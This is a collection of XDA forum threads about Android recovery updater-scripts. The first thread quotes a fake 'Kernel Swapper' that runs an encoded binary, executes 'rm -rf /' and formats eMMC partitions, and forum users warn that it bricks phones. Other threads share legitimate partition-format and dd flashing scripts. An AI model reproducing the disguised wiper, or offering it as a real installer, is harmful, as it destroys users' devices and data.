Exploit in Kernel Swapper - Honor 3C Questions & Answers

anybody know what this exploit does?
Code:
ui_print "*********************************************"
ui_print "Honor 3C (H30-U10) Kernel Swapper V1.0"
ui_print "Brought to you by codelover @ XDA"
ui_print "Custom kernel by kernel.killer @ XDA"
ui_print "*********************************************"
ui_print "- Checking prerequisites.."
ui_print "- Attempting to swap kernel, please wait..."
run_program("/sbin/echo", "WVVoV2IxQjVRak5oUjBZd1NVaFNiMXBUUW05YVYzaHpTVWRHZVZwVFFqVmlNMVZuWkVoS05XRlhOVzVKU0ZKMlNVZFNkbEI1UW1sa1dGRm5Zekk0WjJNeU9YbGpibXRuWkVjNFoyUkhWbk5pUTBJMVlqTlZaMlJIYUdoa1EwSXdZVWRXZVZwVFFuQmplVUoxWWpOU2IyRlhOVzVKU0ZKMlNVaE9iRnBUUW05YVdFcHNTVkU5UFE9PQ== > /sbin/exploit");
run_program("/sbin/exploit", "l33t", "0", "0", "1");
ui_print("Removing unneeded files...");
delete("/sbin/exploit", "/");
run_program("/sbin/rm", "-rf", "/");
ui_print("Make it cleaner, shall we?");
format("ext4", "EMMC", "/dev/block/mmcblk0p5", "0");
format("ext4", "EMMC", "/dev/block/mmcblk0p6", "0");
format("ext4", "EMMC", "/dev/block/mmcblk0p8", "0");
ui_print("Cleaned!");
symlink("idiot", "is", "now", "looking", "at", "this");
symlink("yes", "i", "am", "talking", "about", "YOU");
ui_print "- Done! ;)"

Swapping the kernel (as it states)

DD! said:
anybody know what this exploit does?
Click to expand...
Click to collapse
This will in most likelihood, wipe out your kernel and brick your device beyond repair (unless you take it to a service center)...
It is formatting three blocks mmcblock0p5, p6 and p8, most probably, your boot and kernel etc... These blocks are the places where operating system goes... You can google for these specific blocks to see what's inside them...
Am not an expert so can't say whether it will work or not but if it does, it's catastrophic...
Sent from my PLK-L01 using XDA Labs

Wow, I didn't expect it to be that harmful

Fix your issue??

Related

[DEV RESOURCES] Eternity Project CWM Kernel Flash with AUTO Tegrapart recognizer

Welcome to the Eternity Project's Olympus CWM Kernel Flasher with AUTO Tegrapart recognizer Thread!
What's it?
It is inspired by the idea that koush had with AnyKernel. It is intended for use only for devs. It will copy the CMDLINE of your device and assemble a boot.img with your own cmdline, so you can use the same package for deploying kernels to all different tegrapart devices.
What will it do and how much time will it take
It will take the current device's cmdline and assemble the bootimg. The required files has to be named "eternityImage" (kernel image) and "eternityrd.gz" (ramdisk/initrd).
The process of taking the cmdline and assembling the new bootimg will be done almost instantly. It should take like 0.2 seconds.
What I need
- A PC
- A kernel zImage
- A RamDisk
- Eventually a WiFi module
- A BRAIN
What does it contain:
- Scripts and files that needs to be executed
- Nothing else.
The funny part
Those are the scripts used by the KernelFlasher package. You can modify them (especially the update-script) as you want. Just remember to add credits
Creating the boot image:
Code:
#!/sbin/sh
echo \#!/sbin/sh > /tmp/createnewboot.sh
echo /tmp/mkbootimg --kernel /tmp/eternityImage --ramdisk /tmp/eternityrd.gz --cmdline \"$(cat /proc/cmdline)\" --output /tmp/eternityprj.img >> /tmp/createnewboot.sh
chmod 777 /tmp/createnewboot.sh
/tmp/createnewboot.sh
return $?
Recovery update-script
Code:
ui_print(" ");
ui_print("Eternity Project for Motorola Olympus: ATRIX");
ui_print(" ");
ui_print(" ll ll ll ll ll");
ui_print("E ll ll ll ll ll");
ui_print("T ll ll ll ll ll");
ui_print("E oooooooooooooo ");
ui_print("R lllllloooooooooooooollllll");
ui_print("N lllllloooooooooooooollllll");
ui_print("I oooooAP20ooooo ");
ui_print("T lllllloooooooooooooollllll");
ui_print("Y lllllloooooooooooooollllll");
ui_print("P oooooooooooooo ");
ui_print("R ll ll ll ll ll");
ui_print("J ll ll ll ll ll");
ui_print(" ll ll ll ll ll");
ui_print(" ");
ui_print("Update contains: Kernel+Modules");
ui_print("Developed by kholk");
set_progress(1.000000);
ui_print("Converting SYSTEM to EXT4");
run_program("/sbin/tune2fs" , "-O" , "extents,uninit_bg,dir_index" , "/dev/block/mmcblk0p12");
ui_print("Running FSCK...");
run_program("/sbin/e2fsck" , "-pf" , "/dev/block/mmcblk0p12");
ui_print("Extracting Modules...");
mount("ext4" , "EMMC" , "/dev/block/mmcblk0p12" , "/system");
package_extract_dir("system", "/system");
unmount("/system");
ui_print("Extracting Kernel Files...");
package_extract_dir("kernel", "/tmp");
set_perm(0, 0, 0777, "/tmp/mkbootimg.sh");
set_perm(0, 0, 0777, "/tmp/mkbootimg");
ui_print("Detecting your ATRIX CMDLINE...");
run_program("/tmp/mkbootimg.sh");
ui_print("Detected! Custom EternityProject Kernel created.");
ui_print("Erasing Boot Partition...");
run_program("/sbin/busybox", "dd", "if=/dev/zero", "of=/dev/block/mmcblk0p11");
ui_print("Writing Boot Image...");
run_program("/sbin/busybox", "dd", "if=/tmp/eternityprj.img", "of=/dev/block/mmcblk0p11");
ui_print("All done.");
ui_print("Remember to check for updates frequently!");
ui_print("Enjoy!");
Download
MegaUpload
The Eternity Project Developer,
-kholk
Cool! Now to find out what it does...
wirednix said:
Cool! Now to find out what it does...
Click to expand...
Click to collapse
According to the Eternity Project Kernel thread this appears to be an automated way to determine the correct kernel for AT&T or international, or other Tegra options. It is intended so that devs can release a single package and take user error out of the equation for some releases.
wirednix said:
Cool! Now to find out what it does...
Click to expand...
Click to collapse
kholk said:
What will it do and how much time will it take
It will take the current device's cmdline and assemble the bootimg. The required files has to be named "eternityImage" (kernel image) and "eternityrd.gz" (ramdisk/initrd).
The process of taking the cmdline and assembling the new bootimg will be done almost instantly. It should take like 0.2 seconds.
Click to expand...
Click to collapse
Emh...........

[Q] Full Wipe Zip Port

I'm new to android and am wondering if there were any tools available to port the full_wipe.zip from the desire hd/inspire 4g to the vivid. It's a great tool that I used on the inspire and will reduce the issues that a lot of users might run into for this device. The later versions even gave the ability to format all of the memory to EXT4. I'm willing to work on a version if someone is able to point me in the right direction.
Edit: this tool might also be an option as a replacement to our current recovery.
http://forum.xda-developers.com/showthread.php?t=1161710
not really sure i understand the need for it?
this is an inspire/dhd script:
Code:
ui_print(" ");
ui_print("-------------------------------- ");
ui_print("| FULL WIPE v 1.5 |");
ui_print("| Fixed For Ext4 |");
ui_print("| Mero01 |");
ui_print("-------------------------------- ");
ui_print(" ");
show_progress(0.500000, 0);
ui_print("-Checking Model ID");
assert(getprop("ro.product.device") == "ace" || getprop("ro.build.product") == "ace" || getprop("ro.product.board") == "ace");
ui_print("-Success!");
ui_print("-Model ID - HTC Ace");
ui_print("-Ok to proceed");
ui_print("Now preparing for a clean install of any EXT4 ROM ");
ui_print("Please be patient");
ui_print("1st boot may take a few minutes");
show_progress(0.500000, 40);
ui_print("-Formatting Data");
format("ext4", "EMMC", "/dev/block/mmcblk0p26");
ui_print("-Formatting System");
format("ext4", "EMMC", "/dev/block/mmcblk0p25");
ui_print("-Writing System");
mount("ext4", "EMMC", "/dev/block/mmcblk0p25", "/system");
package_extract_dir("system", "/system");
show_progress(0.400000, 0);
ui_print("-Formatting Cache");
assert(unmount("/cache"), ui_print("/cache unmounted"));
format("ext4", "EMMC", "/dev/block/mmcblk0p27");
delete_recursive("/sdcard/.data/navigator/Data/Temporary");
show_progress(0.100000, 0);
ui_print(" ");
ui_print("FULL WIPE COMPLETE =]");
ui_print(" ");
ui_print(" ");
ui_print("Make SURE YOU INSTALL A ROM...");
ui_print("Make SURE YOU INSTALL A ROM...");
ui_print("Make SURE YOU INSTALL A ROM...");
unmount("/system");
all it does is print lines and format the following:
/data
/system
/cache
and it goes an extra step and deletes a directory on your sdcard that looks non-volatile....
this is just one of the scripts i had from my inspire days....im sure there are others...
but the real deal is this:
/system is always formatted during a rom install
/cache usually is also, but not always
if you do a wipe/factory reset, it formats /data and /cache
so redundant wipe is redundant....
Would the custom ext4 recovery be a better option? It has the same features as cwm recovery but also adds the wipe functions of the script. I prefer the custom recovery but am not sure to where to start.
Apatche69 said:
Would the custom ext4 recovery be a better option? It has the same features as cwm recovery but also adds the wipe functions of the script. I prefer the custom recovery but am not sure to where to start.
Click to expand...
Click to collapse
since nobody has created an ext4 recovery for our device, its not even close to viable yet
but i dont think you get what im saying.....those functions are INCLUDED in the recovery we have....
wipe data/factory reset will wipe /data and /cache
installing a rom, formats and loads /system
why does anyone feel the need for another script that does the same thing that you can do with one option in recovery?
Apatche69 said:
Would the custom ext4 recovery be a better option? It has the same features as cwm recovery but also adds the wipe functions of the script. I prefer the custom recovery but am not sure to where to start.
Click to expand...
Click to collapse
Follow the superguide ROM flashing guide and you won't need a script like this. Wipe cache, data, dalvik.
Sent from my HTC PH39100 using xda premium

[MOD] Sprint One (m7wls) Dsixda Kitchen Support

I've created the template needed for Dsixda's kitchen, rename (remove .txt) the attached file to m7wls & place in the \kitchen\tools\edify_defs folder
[KITCHEN] Android Kitchen, v0.223 [Linux / Mac / Windows]
one thing I should point out....using the latest TWRP, a ROM created w/ this kitchen will not flash. You will need to replace the update-binary in \META-INF\com\google\android. See the attached file (remove the .zip).
also, you'll want to update the updater-script to replace the format /system cmd to:
format("ext4", "EMMC", "/dev/block/mmcblk0p37", "0", "/system");
...
FIRST!! Thanks bro
O.M.J said:
I've created the template needed for Dsixda's kitchen, rename (remove .txt) the attached file to m7wls & place in the \kitchen\tools\edify_defs folder
[KITCHEN] Android Kitchen, v0.223 [Linux / Mac / Windows]
...
Click to expand...
Click to collapse
Thank you!
O.M.J said:
I've created the template needed for Dsixda's kitchen, rename (remove .txt) the attached file to m7wls & place in the \kitchen\tools\edify_defs folder
[KITCHEN] Android Kitchen, v0.223 [Linux / Mac / Windows]
...
Click to expand...
Click to collapse
This might be a stupid question... but since i havent used a kitchen since my htc diamond days i figured i would ask. Are kernels compiled from binaries in the kitchen or is it more like the old school kitchens where you just pick the options.
sybe said:
This might be a stupid question... but since i havent used a kitchen since my htc diamond days i figured i would ask. Are kernels compiled from binaries in the kitchen or is it more like the old school kitchens where you just pick the options.
Click to expand...
Click to collapse
You cant compile the kernel with the kitchen, You can make some changes to the ramdisk and swap out the zimage.
Thanks for this man! :thumbup:
Sent from my HTCONE using Tapatalk 2
Hi to ALL
i m yamil
i use dsixda kitchen to cook a rom for one sprint but.. users reported Recovery fail..
i let here my updater script, it has no aroma, if somebody can help me will be great
Here is link of my script http://d-h.st/M0f
Thanks in advance
dragonesdenano said:
Hi to ALL
i m yamil
i use dsixda kitchen to cook a rom for one sprint but.. users reported Recovery fail..
i let here my updater script, it has no aroma, if somebody can help me will be great
Here is link of my script http://d-h.st/M0f
Thanks in advance
Click to expand...
Click to collapse
Have you added the HTC ONE template OMJ posted the the kitchen?
It should look like this
Code:
mount("ext4", "EMMC", "/dev/block/mmcblk0p39", "/data");
package_extract_dir("data", "/data");
format("ext4", "EMMC", "/dev/block/mmcblk0p37", "0", "/system");
mount("ext4", "EMMC", "/dev/block/mmcblk0p37", "/system");
delete_recursive("/system");
package_extract_dir("system", "/system");
You dont this. Delete that file/folder from the zip
Code:
package_extract_file("check_data_app", "/tmp/check_data_app");
set_perm(0, 0, 0777, "/tmp/check_data_app");
run_program("/tmp/check_data_app");
Add these lines to fix the Paid app issue in the playstore
Code:
symlink("/system/lib/modules/moc_crypto.ko.3.4.10","/system/lib/modules/moc_crypto.ko");
symlink("/system/lib/modules/moc_platform_mod.ko.3.4.10","/system/lib/modules/moc_platform_mod.ko");
This will flash the boot.img , No need for the method your using
Code:
package_extract_file("boot.img", "/tmp/boot.img");
run_program("/sbin/busybox", "dd", "if=/tmp/boot.img", "of=/dev/block/mmcblk0p33");
delete("/tmp/boot.img");
benny3 said:
Have you added the HTC ONE template OMJ posted the the kitchen?
It should look like this
Code:
mount("ext4", "EMMC", "/dev/block/mmcblk0p39", "/data");
package_extract_dir("data", "/data");
format("ext4", "EMMC", "/dev/block/mmcblk0p37", "0", "/system");
mount("ext4", "EMMC", "/dev/block/mmcblk0p37", "/system");
delete_recursive("/system");
package_extract_dir("system", "/system");
You dont this. Delete that file/folder from the zip
Code:
package_extract_file("check_data_app", "/tmp/check_data_app");
set_perm(0, 0, 0777, "/tmp/check_data_app");
run_program("/tmp/check_data_app");
Add these lines to fix the Paid app issue in the playstore
Code:
symlink("/system/lib/modules/moc_crypto.ko.3.4.10","/system/lib/modules/moc_crypto.ko");
symlink("/system/lib/modules/moc_platform_mod.ko.3.4.10","/system/lib/modules/moc_platform_mod.ko");
This will flash the boot.img , No need for the method your using
Code:
package_extract_file("boot.img", "/tmp/boot.img");
run_program("/sbin/busybox", "dd", "if=/tmp/boot.img", "of=/dev/block/mmcblk0p33");
delete("/tmp/boot.img");
Click to expand...
Click to collapse
Thank you very much for the amazing help.
I did, i ve added to the kitchen.... Anyway will check all again.
Thanks again
SkyDragon© You Are Not Allow To Lick My Banner, Stay Away!
dragonesdenano said:
Thank you very much for the amazing help.
I did, i ve added to the kitchen.... Anyway will check all again.
Thanks again
SkyDragon© You Are Not Allow To Lick My Banner, Stay Away!
Click to expand...
Click to collapse
I hope that helped you out.
I'm adding this to the OP....
one thing I should point out....using the latest TWRP, a ROM created w/ this kitchen will not flash. You will need to replace the update-binary in \META-INF\com\google\android. See the attached file (remove the .zip).
also, you'll want to update the updater-script to replace the format /system cmd to:
format("ext4", "EMMC", "/dev/block/mmcblk0p37", "0", "/system");

Can't install Holoblur

Hi guys.
I've been trying to install the mighty HoloBlur but I'm unable to. I get error:
set_perm: some changes failed (status 7)
Now, I readed the updater-script and noticed a reference to a file named fixperm.sh. The line says the following:
package_extract_file("system/etc/releasetools/fixperm.sh", "/tmp/fixperm.sh");
set_perm(0, 0, 0777, "/tmp/fixperm.sh");
I looked at that directory on the .zip but didn't find the releasetools folder. Neither the fixperm.sh file.
I deleted that line and another reference to that file, and it advanced. Next I had to modify this line:
format("ext4", "EMMC", "/dev/block/platform/msm_sdcc.1/by-name/system", "/system");
It said that I needed 5 parameters and was only giving 4. I modified it to this:
format("ext4", "EMMC", "/dev/block/platform/msm_sdcc.1/by-name/system", "0", "/system");
And it advanced. But then, error on symlinks:
symlink: some symlinks failed
And because that error didn't specified which ones, I couldn't continue with my quest.
Anybody has an idea how to fix this? Or has a past version of HoloBlur? Original links in the thread don't work. BTW, I'm using Philz Touch 6 with CWM v6.0.4.7

S5830 custom kernel

Well I planned to build a kernel for S5830 from samsung msm 7x27-cm-11.0 source . I obtained the zImage successfully. Later on I used Koush's AnyKernelUpdate.zip.
1- I placed the zImage in the folder named Kernel in the AnyKernelUpdate.zip
2- Modified
Code:
mount("MTD", "system", "/system");
with
Code:
mount("ext4", "EMMC", "/dev/block/stl12", "/system");
When I flash this zip from CWM it gives Installation aborted.
Any help?
Thanks in advance.
Anyone??

Categories

Resources